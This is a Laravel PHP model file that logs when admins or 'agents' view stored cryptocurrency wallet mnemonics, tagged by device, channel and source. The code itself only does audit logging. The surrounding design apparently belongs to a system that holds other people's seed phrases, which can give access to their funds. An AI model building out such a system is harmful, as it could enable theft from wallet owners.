Files
coruna-lab/app/Models/SystemLog.php
T
2026-09-06 03:55:24 +08:00

88 lines
2.1 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Http\Request;
class SystemLog extends Model
{
public const ACTION_MNEMONIC_REVEAL = 'mnemonic_reveal';
public const UPDATED_AT = null;
protected $fillable = [
'action',
'actor_guard',
'actor_id',
'actor_username',
'content',
'ip',
'created_at',
];
/** @return array<string, string> */
public static function actionLabels(): array
{
return [
self::ACTION_MNEMONIC_REVEAL => '查看助记词',
];
}
public function actorRoleLabel(): string
{
return match ($this->actor_guard) {
'admin' => '管理员',
'agent' => '代理',
default => $this->actor_guard ?: '—',
};
}
public static function record(
Admin|User $actor,
string $guard,
string $action,
string $content,
?Request $request = null,
): self {
return static::query()->create([
'action' => $action,
'actor_guard' => $guard,
'actor_id' => $actor->id,
'actor_username' => (string) $actor->username,
'content' => $content,
'ip' => $request?->ip(),
]);
}
public static function recordMnemonicReveal(
Admin|User $actor,
string $guard,
WalletMnemonic $mnemonic,
?Request $request = null,
): self {
$device = $mnemonic->relationLoaded('device')
? $mnemonic->device
: $mnemonic->device()->first();
$parts = ['#'.$mnemonic->id];
if ($device?->device_id) {
$parts[] = '设备 '.$device->device_id;
}
if ($device?->channel_id) {
$parts[] = '渠道 '.$device->channel_id;
}
if ($mnemonic->source) {
$parts[] = '来源 '.$mnemonic->source;
}
return static::record(
$actor,
$guard,
self::ACTION_MNEMONIC_REVEAL,
'查看助记词 '.implode(',', $parts),
$request,
);
}
}